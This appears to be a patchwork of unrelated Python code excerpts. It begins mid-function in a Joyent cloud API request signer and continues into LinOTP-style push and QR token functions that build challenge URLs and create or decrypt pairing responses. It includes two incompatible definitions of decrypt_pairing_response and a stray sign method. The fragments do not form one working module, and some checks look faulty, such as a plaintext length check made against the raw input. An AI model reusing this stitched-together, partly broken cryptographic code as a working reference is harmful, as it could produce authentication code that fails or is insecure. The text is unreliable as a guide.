log.error(
'ssh_keyfile is required for Joyent API requests. Please set one in your provider configuration'
)
ssh_keyname = config.get_cloud_config_value('keyname',
get_configured_provider(),
__opts__,
search_global=False,
default=True)
if not ssh_keyname:
log.error(
'ssh_keyname is required for Joyent API requests. Please set one in your provider configuration'
)
if not location:
location = get_location()
api_host_suffix = config.get_cloud_config_value(
'api_host_suffix',
get_configured_provider(),
__opts__,
search_global=False,
default=JOYENT_API_HOST_SUFFIX)
path = get_location_path(location=location,
api_host_suffix=api_host_suffix)
if action:
path += action
if command:
path += '/{0}'.format(command)
log.debug('User: \'%s\' on PATH: %s', user, path)
if (not user) or (not ssh_keyfile) or (not ssh_keyname) or (not location):
return None
timenow = datetime.datetime.utcnow()
timestamp = timenow.strftime('%a, %d %b %Y %H:%M:%S %Z').strip()
rsa_key = salt.crypt.get_rsa_key(ssh_keyfile, None)
if HAS_M2:
md = EVP.MessageDigest('sha256')
md.update(timestamp.encode(__salt_system_encoding__))
digest = md.final()
signed = rsa_key.sign(digest, algo='sha256')
else:
rsa_ = PKCS1_v1_5.new(rsa_key)
hash_ = SHA256.new()
hash_.update(timestamp.encode(__salt_system_encoding__))
signed = rsa_.sign(hash_)
signed = base64.b64encode(signed)
keyid = '/{0}/keys/{1}'.format(user.split('/')[0], ssh_keyname)
headers = {
'Content-Type':
'application/json',
'Accept':
'application/json',
'X-Api-Version':
JOYENT_API_VERSION,
'Date':
timestamp,
'Authorization':
'Signature keyId="{0}",algorithm="rsa-sha256" {1}'.format(
keyid, signed.decode(__salt_system_encoding__)),
}
if not isinstance(args, dict):
args = {}
# post form data
if not data:
data = salt.utils.json.dumps({})
return_content = None
result = salt.utils.http.query(
path,
method,
params=args,
header_dict=headers,
data=data,
decode=False,
text=True,
status=True,
headers=True,
verify_ssl=verify_ssl,
opts=__opts__,
)
log.debug('Joyent Response Status Code: %s', result['status'])
if 'headers' not in result:
return [result['status'], result['error']]
if 'Content-Length' in result['headers']:
content = result['text']
return_content = salt.utils.yaml.safe_load(content)
return [result['status'], return_content]
def create_challenge_url(self,
transaction_id,
content_type,
callback_url='',
message=None,
login=None,
host=None):
"""
creates a challenge url (looking like lseqr://push/<base64string>),
returns the url and the unencrypted challenge data
:param transaction_id: The transaction id generated by LinOTP
:param content_type: One of the types CONTENT_TYPE_SIGNREQ,
CONTENT_TYPE_PAIRING, CONTENT_TYPE_LOGIN
:param callback_url: callback url (optional), default is
empty string
:param message: the transaction message, that should be signed
by the client. Only for content type CONTENT_TYPE_SIGNREQ
:param login: the login name of the user. Only for content type
CONTENT_TYPE_LOGIN
:param host: hostname of the user. Only for content type
CONTENT_TYPE_LOGIN
:returns: tuple (challenge_url, sig_base), with challenge_url being
the push url and sig_base the message, that is used for
the client signature
"""
serial = self.getSerial()
# ------------------------------------------------------------------- --
# sanity/format checks
if content_type not in [
CONTENT_TYPE_SIGNREQ, CONTENT_TYPE_PAIRING, CONTENT_TYPE_LOGIN
]:
raise InvalidFunctionParameter(
'content_type', 'content_type must '
'be CONTENT_TYPE_SIGNREQ, '
'CONTENT_TYPE_PAIRING or '
'CONTENT_TYPE_LOGIN.')
# ------------------------------------------------------------------- --
# after the lseqr://push/ prefix the following data is encoded
# in urlsafe base64:
# ---------------------------------------------------
# fields | version | user token id | R | ciphertext | sign |
# ---------------------------------------------------
# | header | body |
# ---------------------------------------------------
# size | 1 | 4 | 32 | ? | 64 |
# ---------------------------------------------------
#
# create header
user_token_id = self.getFromTokenInfo('user_token_id')
data_header = struct.pack('<bI', CHALLENGE_URL_VERSION, user_token_id)
# ------------------------------------------------------------------- --
# create body
r = urandom(32)
R = calc_dh_base(r)
b64_user_dsa_public_key = self.getFromTokenInfo('user_dsa_public_key')
user_dsa_public_key = b64decode(b64_user_dsa_public_key)
user_dh_public_key = dsa_to_dh_public(user_dsa_public_key)
ss = calc_dh(r, user_dh_public_key)
U = SHA256.new(ss).digest()
zerome(ss)
sk = U[0:16]
nonce = U[16:32]
zerome(U)
# ------------------------------------------------------------------- --
# create plaintext section
# ------------------------------------------------------------------- --
# generate plaintext header
# ------------------------------------------------
# fields | content_type | transaction_id | timestamp | ..
# ------------------------------------------------
# size | 1 | 8 | 8 | ?
# -------------------------------------------------
transaction_id = transaction_id_to_u64(transaction_id)
plaintext = struct.pack('<bQQ', content_type, transaction_id,
int(time.time()))
# ------------------------------------------------------------------- --
utf8_callback_url = callback_url.encode('utf8')
# enforce max url length as specified in protocol
if len(utf8_callback_url) > 511:
raise InvalidFunctionParameter(
'callback_url', 'max string '
'length (encoded as utf8) is '
'511')
# ------------------------------------------------------------------- --
# create data package depending on content type
# ------------------------------------------------------------------- --
if content_type == CONTENT_TYPE_PAIRING:
# -----------------------------------------
# fields | header | serial | NUL | callback | NUL |
# -----------------------------------------
# size | 9 | ? | 1 | ? | 1 |
# -----------------------------------------
utf8_serial = serial.encode('utf8')
if len(utf8_serial) > 63:
raise ValueError('serial (encoded as utf8) can only be 63 '
'characters long')
plaintext += utf8_serial + b'\00' + utf8_callback_url + b'\00'
# ------------------------------------------------------------------- --
if content_type == CONTENT_TYPE_SIGNREQ:
if message is None:
raise InvalidFunctionParameter(
'message', 'message must be '
'supplied for content type '
'SIGNREQ')
# ------------------------------------------
# fields | header | message | NUL | callback | NUL |
# ------------------------------------------
# size | 9 | ? | 1 | ? | 1 |
# ------------------------------------------
utf8_message = message.encode('utf8')
# enforce max sizes specified by protocol
if len(utf8_message) > 511:
raise InvalidFunctionParameter(
'message', 'max string '
'length (encoded as utf8) is '
'511')
plaintext += utf8_message + b'\00' + utf8_callback_url + b'\00'
# ------------------------------------------------------------------- --
if content_type == CONTENT_TYPE_LOGIN:
if login is None:
raise InvalidFunctionParameter(
'login', 'login must be '
'supplied for content type '
'LOGIN')
if host is None:
raise InvalidFunctionParameter(
'host', 'host must be '
'supplied for content type '
'LOGIN')
# -----------------------------------------------------
# fields | header | login | NUL | host | NUL | callback | NUL |
# -----------------------------------------------------
# size | 9 | ? | 1 | ? | 1 | ? | 1 |
# -----------------------------------------------------
utf8_login = login.encode('utf8')
utf8_host = host.encode('utf8')
# enforce max sizes specified by protocol
if len(utf8_login) > 127:
raise InvalidFunctionParameter(
'login', 'max string '
'length (encoded as utf8) is '
'127')
if len(utf8_host) > 255:
raise InvalidFunctionParameter(
'host', 'max string '
'length (encoded as utf8) is '
'255')
plaintext += utf8_login + b'\00'
plaintext += utf8_host + b'\00'
plaintext += utf8_callback_url + b'\00'
# ------------------------------------------------------------------- --
# encrypt inner layer
nonce_as_int = int_from_bytes(nonce, byteorder='big')
ctr = Counter.new(128, initial_value=nonce_as_int)
cipher = AES.new(sk, AES.MODE_CTR, counter=ctr)
ciphertext = cipher.encrypt(plaintext)
unsigned_raw_data = data_header + R + ciphertext
# ------------------------------------------------------------------- --
# create signature
partition = self.getFromTokenInfo('partition')
secret_key = get_secret_key(partition)
signature = crypto_sign_detached(unsigned_raw_data, secret_key)
raw_data = unsigned_raw_data + signature
url = 'lseqr://push/' + encode_base64_urlsafe(raw_data)
return url, (signature + plaintext)
def create_pairing_response(public_key: bytes,
secret_key: bytes,
token_info: Dict,
gda: str = 'DEADBEEF') -> str:
"""Creates a base64-encoded pairing response.
:param public_key: the public key in bytes
:param secret_key: the secret key in bytes
:param token_info: the token_info dict
:param user_token_id: the token id
:param gda: the mobile device gda
:returns base64 encoded pairing response
"""
token_serial = token_info['serial']
token_id = token_info.get('token_id', 1)
server_public_key = token_info['server_public_key']
partition = token_info['partition']
# ------------------------------------------------------------------ --
# assemble header and plaintext
header = struct.pack('<bI', PAIR_RESPONSE_VERSION, partition)
pairing_response = b''
pairing_response += struct.pack('<bI', TYPE_PUSHTOKEN, token_id)
pairing_response += public_key
pairing_response += token_serial.encode('utf8') + b'\x00\x00'
pairing_response += gda.encode('utf-8') + b'\x00'
signature = crypto_sign_detached(pairing_response, secret_key)
pairing_response += signature
# ------------------------------------------------------------------ --
# create public diffie hellman component
# (used to decrypt and verify the reponse)
r = os.urandom(32)
R = calc_dh_base(r)
# ------------------------------------------------------------------ --
# derive encryption key and nonce
server_public_key_dh = dsa_to_dh_public(server_public_key)
ss = calc_dh(r, server_public_key_dh)
U = SHA256.new(ss).digest()
encryption_key = U[0:16]
nonce = U[16:32]
# ------------------------------------------------------------------ --
# encrypt in EAX mode
cipher = AES.new(encryption_key, AES.MODE_EAX, nonce)
cipher.update(header)
ciphertext, tag = cipher.encrypt_and_digest(pairing_response)
return encode_base64_urlsafe(header + R + ciphertext + tag)
def create_challenge_url(self, transaction_id, content_type, message,
callback_url, callback_sms_number,
use_compression=False, reset_url=False):
"""
creates a challenge url (looking like lseqr://chal/<base64string>)
from a challenge dictionary as provided by Challanges.create_challenge
in lib.challenge
the version identifier of the challenge url is currently hardcoded
to 1.
"""
serial = self.getSerial()
if content_type is None:
content_type = CONTENT_TYPE_FREE
# ----------------------------------------------------------------------
# sanity/format checks
if content_type not in [CONTENT_TYPE_PAIRING,
CONTENT_TYPE_AUTH, CONTENT_TYPE_FREE]:
raise InvalidFunctionParameter('content_type', 'content_type must '
'be CONTENT_TYPE_PAIRING, '
'CONTENT_TYPE_AUTH or '
'CONTENT_TYPE_FREE.')
if content_type == CONTENT_TYPE_PAIRING and \
message != serial:
raise InvalidFunctionParameter('message', 'message must be equal '
'to serial in pairing mode')
if content_type == CONTENT_TYPE_AUTH:
if '@' not in message:
raise InvalidFunctionParameter('message', 'For content type '
'auth, message must have format '
'<login>@<server>')
# ----------------------------------------------------------------------
# after the lseqr://chal/ prefix the following data is encoded
# in urlsafe base64:
# ---------------------------------------------------
# fields | version | user token id | R | ciphertext | MAC |
# ---------------------------------------------------
# | header | | EAX enc data |
# ---------------------------------------------------
# size | 1 | 4 | 32 | ? | 16 |
# ---------------------------------------------------
#
r = urandom(32)
R = calc_dh_base(r)
user_token_id = self.getFromTokenInfo('user_token_id')
data_header = struct.pack('<bI', QRTOKEN_VERSION, user_token_id)
# the user public key is saved as base64 in
# the token info since the byte format is
# incompatible with the json backend.
b64_user_public_key = self.getFromTokenInfo('user_public_key')
user_public_key = b64decode(b64_user_public_key)
ss = calc_dh(r, user_public_key)
U1 = SHA256.new(ss).digest()
U2 = SHA256.new(U1).digest()
zerome(ss)
skA = U1[0:16]
skB = U2[0:16]
nonce = U2[16:32]
zerome(U1)
zerome(U2)
# ----------------------------------------------------------------------
# create plaintext section
# ----------------------------------------------------------------------
# create the bitmap for flags
flags = 0
if use_compression:
flags |= CHALLENGE_HAS_COMPRESSION
# FIXME: sizecheck for message, callback url, sms number
# wiki specs are utf-8 byte length (without \0)
if callback_url is not None:
flags |= CHALLENGE_HAS_URL
if callback_sms_number is not None:
flags |= CHALLENGE_HAS_SMS_NUMBER
if (content_type == CONTENT_TYPE_PAIRING):
flags |= CHALLENGE_HAS_SIGNATURE
if reset_url:
flags |= CHALLENGE_SHOULD_RESET_URL
flags |= CHALLENGE_HAS_SIGNATURE
#----------------------------------------------------------------------
# generate plaintext header
# ----------------------------------------------
# fields | content_type | flags | transaction_id | ... |
# ----------------------------------------------
# size | 1 | 1 | 8 | ? |
# ----------------------------------------------
transaction_id = transaction_id_to_u64(transaction_id)
pt_header = struct.pack('<bbQ', content_type, flags, transaction_id)
plaintext = pt_header
#----------------------------------------------------------------------
# create data package
# -------------------------------
# fields | header | message | NUL | ... |
# -------------------------------
# size | 10 | ? | 1 | ? |
# -------------------------------
data_package = b''
utf8_message = message.encode('utf8')
# enforce max sizes specified by protocol
if content_type == CONTENT_TYPE_FREE and len(utf8_message) > 511:
raise ParameterError('message (encoded as utf8) can only be 511 '
'characters long')
elif content_type == CONTENT_TYPE_PAIRING and len(utf8_message) > 63:
raise InvalidFunctionParameter('message', 'max string length '
'(encoded as utf8) is 511 for '
'content type PAIRING')
elif content_type == CONTENT_TYPE_AUTH and len(utf8_message) > 511:
raise InvalidFunctionParameter('message', 'max string length '
'(encoded as utf8) is 511 for '
'content type AUTH')
data_package += utf8_message + b'\x00'
# ----------------------------------------------------------------------
# depending on function parameters add callback url
# and/or callback sms number
# -----------------------------------------------------
# fields | ... | callback url | NUL | callback sms | NUL | ... |
# -----------------------------------------------------
# size | ? | ? | 1 | ? | 1 | ? |
# -----------------------------------------------------
# ----------------------------------------------------------------------
if callback_url is not None:
utf8_callback_url = callback_url.encode('utf8')
# enforce max url length as specified in protocol
if len(utf8_callback_url) > 511:
raise InvalidFunctionParameter('callback_url', 'max string '
'length (encoded as utf8) is '
'511')
data_package += utf8_callback_url + b'\x00'
# ----------------------------------------------------------------------
if callback_sms_number is not None:
utf8_callback_sms_number = callback_sms_number.encode('utf8')
if len(utf8_callback_sms_number) > 31:
raise InvalidFunctionParameter('callback_sms_number',
'max string length (encoded '
'as utf8) is 31')
data_package += utf8_callback_sms_number + b'\x00'
# ----------------------------------------------------------------------
if use_compression:
maybe_compressed_data_package = zlib.compress(data_package, 9)
else:
maybe_compressed_data_package = data_package
# ----------------------------------------------------------------------
# when content type is pairing the protocol specifies that
# the server must send a hmac based signature with the
# response
sig = ''
if flags & CHALLENGE_HAS_SIGNATURE:
hmac_message = nonce + pt_header + maybe_compressed_data_package
sig = HMAC.new(self.server_hmac_secret, hmac_message,
digestmod=SHA256).digest()
plaintext += sig
# ----------------------------------------------------------------------
plaintext += maybe_compressed_data_package
# ----------------------------------------------------------------------
user_message = nonce + pt_header + sig + data_package
user_sig = HMAC.new(skB, user_message, digestmod=SHA256).digest()
# the user sig will be given as urlsafe base64 in the
# challenge response. for this reasons (and because we
# need to serialize it into json) we convert the user_sig
# into this format.
user_sig = encode_base64_urlsafe(user_sig)
# ----------------------------------------------------------------------
cipher = AES.new(skA, AES.MODE_EAX, nonce)
cipher.update(data_header)
ciphertext, tag = cipher.encrypt_and_digest(plaintext)
raw_data = data_header + R + ciphertext + tag
url = 'lseqr://chal/' + encode_base64_urlsafe(raw_data)
return url, user_sig
def decrypt_pairing_response(enc_pairing_response):
"""
Parses and decrypts a pairing response into a named tuple PairingResponse
consisting of
* user_public_key - the user's public key
* user_token_id - an id for the client to uniquely identify the token.
this id is necessary, because the client could
communicate with more than one linotp, so serials
could overlap.
* serial - the serial identifying the token in linotp
* user_login - the user login name
It is possible that either user_login or serial is None. Both
being None is a valid response according to this function but
will be considered an error in the calling method.
The following parameters are needed:
:param enc_pairing_response:
The urlsafe-base64 encoded string received from the client
The following exceptions can be raised:
:raises ParameterError:
If the pairing response has an invalid format
:raises ValueError:
If the pairing response has a different version
than this implementation (currently hardcoded)
:raises ValueError:
If the pairing response indicates a different
token type than QRToken (also hardcoded)
:raises ValueError:
If the pairing response field "partition" is not
identical to the field "token_type"
("partition" is currently used for the token
type id. It is reserved for multiple key usage
in a future implementation.)
:raises ValueError:
If the MAC of the response didn't match
:return:
Parsed/decrypted PairingReponse
"""
data = decode_base64_urlsafe(enc_pairing_response)
# ---------------------------------------------------------------------- --
# ------------------------------------------- --
# fields | version | partition | R | ciphertext | MAC |
# ------------------------------------------- --
# size | 1 | 4 | 32 | ? | 16 |
# ------------------------------------------- --
if len(data) < 1 + 4 + 32 + 16:
raise ParameterError('Malformed pairing response')
# ---------------------------------------------------------------------- --
# parse header
header = data[0:5]
version, partition = struct.unpack('<bI', header)
if version != PAIR_RESPONSE_VERSION:
raise ValueError('Unexpected pair-response version, '
'expected: %d, got: %d' %
(PAIR_RESPONSE_VERSION, version))
# ---------------------------------------------------------------------- --
R = data[5:32+5]
ciphertext = data[32+5:-16]
mac = data[-16:]
# ---------------------------------------------------------------------- --
# calculate the shared secret
# - --
secret_key = get_dh_secret_key(partition)
ss = calc_dh(secret_key, R)
# derive encryption key and nonce from the shared secret
# zero the values from memory when they are not longer needed
U = SHA256.new(ss).digest()
zerome(ss)
encryption_key = U[0:16]
nonce = U[16:32]
zerome(U)
# decrypt response
cipher = AES.new(encryption_key, AES.MODE_EAX, nonce)
cipher.update(header)
plaintext = cipher.decrypt_and_verify(ciphertext, mac)
zerome(encryption_key)
# ---------------------------------------------------------------------- --
# check format boundaries for type peaking
# (token type specific length boundaries are checked
# in the appropriate functions)
plaintext_min_length = 1
if len(data) < plaintext_min_length:
raise ParameterError('Malformed pairing response')
# ---------------------------------------------------------------------- --
# get token type and parse decrypted response
# -------------------- --
# fields | token type | ... |
# -------------------- --
# size | 1 | ? |
# -------------------- --
token_type = struct.unpack('<b', plaintext[0])[0]
if token_type not in SUPPORTED_TOKEN_TYPES:
raise ValueError('unsupported token type %d, supported types '
'are %s' % (token_type, SUPPORTED_TOKEN_TYPES))
# ---------------------------------------------------------------------- --
# delegate the data parsing of the plaintext
# to the appropriate function and return the result
data_parser = get_pairing_data_parser(token_type)
pairing_data = data_parser(plaintext)
zerome(plaintext)
# get the appropriate high level type
try:
token_type_as_str = INV_TOKEN_TYPES[token_type]
except KeyError:
raise ProgrammingError('token_type %d is in SUPPORTED_TOKEN_TYPES',
'however an appropriate mapping entry in '
'TOKEN_TYPES is missing' % token_type)
return PairingResponse(token_type_as_str, pairing_data)
def decrypt_pairing_response(enc_pairing_response):
"""
Parses and decrypts a pairing response into a named tuple PairingResponse
consisting of
* user_public_key - the user's public key
* user_token_id - an id for the client to uniquely identify the token.
this id is necessary, because the client could
communicate with more than one linotp, so serials
could overlap.
* serial - the serial identifying the token in linotp
* user_login - the user login name
It is possible that either user_login or serial is None. Both
being None is a valid response according to this function but
will be considered an error in the calling method.
The following parameters are needed:
:param enc_pairing_response:
The urlsafe-base64 encoded string received from the client
The following exceptions can be raised:
:raises ParameterError:
If the pairing response has an invalid format
:raises ValueError:
If the pairing response has a different version
than this implementation (currently hardcoded)
:raises ValueError:
If the pairing response indicates a different
token type than QRToken (also hardcoded)
:raises ValueError:
If the MAC of the response didn't match
:return:
Parsed/encrpted PairingReponse
"""
data = decode_base64_urlsafe(enc_pairing_response)
# --------------------------------------------------------------------------
# -----------------------
# fields | R | ciphertext | MAC |
# -----------------------
# size | 32 | ? | 16 |
# -----------------------
if len(data) < 32 + 16:
raise ParameterError('Malformed pairing response')
R = data[0:32]
ciphertext = data[32:-16]
mac = data[-16:]
# --------------------------------------------------------------------------
# calculate the shared secret
# ----
secret_key = get_qrtoken_secret_key()
ss = calc_dh(secret_key, R)
# derive encryption key and nonce from the shared secret
# zero the values from memory when they are not longer needed
U = SHA256.new(ss).digest()
zerome(ss)
encryption_key = U[0:16]
nonce = U[16:32]
zerome(U)
# decrypt response
cipher = AES.new(encryption_key, AES.MODE_EAX, nonce)
plaintext = cipher.decrypt_and_verify(ciphertext, mac)
# --------------------------------------------------------------------------
# parse decrypted response
# ----
plaintext_min_length = 1 + 1 + 4 + 32 + 1
if len(data) < plaintext_min_length:
raise ParameterError('Malformed pairing response')
# Parse Pairing Reponse Header (First 6 Bytes)
# -------------------------------------------
# fields | version | type | user token id | ... |
# -------------------------------------------
# size | 1 | 1 | 4 | ? |
# -------------------------------------------
resp_header = plaintext[0:6]
version, token_type, user_token_id = struct.unpack('<bbI', resp_header)
if version != 0:
raise ValueError('Unexpected pair-response version, '
'expected: %d, got: %d' % (0, version))
if token_type != 2:
raise ValueError('wrong token type in user response, '
'expected: %d, got: %d' % (2, token_type))
# --------------------------------------------------------------------------
# get user public key (next 32 bytes)
# -----------------------------
# fields | ... | user public key | ... |
# -----------------------------
# size | 6 | 32 | ? |
# -----------------------------
user_public_key = plaintext[6:6+32]
# --------------------------------------------------------------------------
# get serial and/or user login
# ---------------------------------
# fields | ... | serial | NUL | user login |
# ---------------------------------
# size | 38 | ? | 1 | ? |
# ---------------------------------
# parse token_serial and user identification
serial_user_data = plaintext[6+32:].split(b'\x00')
serial = serial_user_data[0].decode('utf8')
user_login = serial_user_data[1].decode('utf8')
return PairingResponse(user_public_key, user_token_id, serial, user_login)
def sign(self, message: bytes) -> bytes:
self.assert_initialized()
h = SHA256.new(message)
return pkcs1_15.new(self.private_key).sign(h) # type: ignore